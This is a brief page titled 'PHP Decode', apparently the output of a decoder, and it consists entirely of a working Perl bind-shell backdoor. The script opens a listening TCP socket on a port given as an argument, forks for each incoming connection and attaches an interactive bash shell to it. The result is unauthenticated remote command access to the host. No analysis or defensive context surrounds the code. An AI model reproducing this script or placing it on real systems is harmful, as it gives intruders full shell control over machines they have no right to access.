PHP Decode

#!/usr/bin/perl
$SHELL="/bin/bash -i";
if (@ARGV < 1) { exit(1); }
$LISTEN_PORT=$ARGV[0];
use Socket;
$protocol=getprotobyname('tcp');
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket
";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port
";
listen(S,3) || die "Cant listen port
";
while(1)
{
accept(CONN,S);
if(!($pid=fork))
{
die "Cannot fork" if (!defined $pid);
open STDIN,"<&CONN";
open STDOUT,">&CONN";
open STDERR,">&CONN";
exec $SHELL || die print CONN "Cant execute $SHELL
";
close CONN;
exit 0;
}
}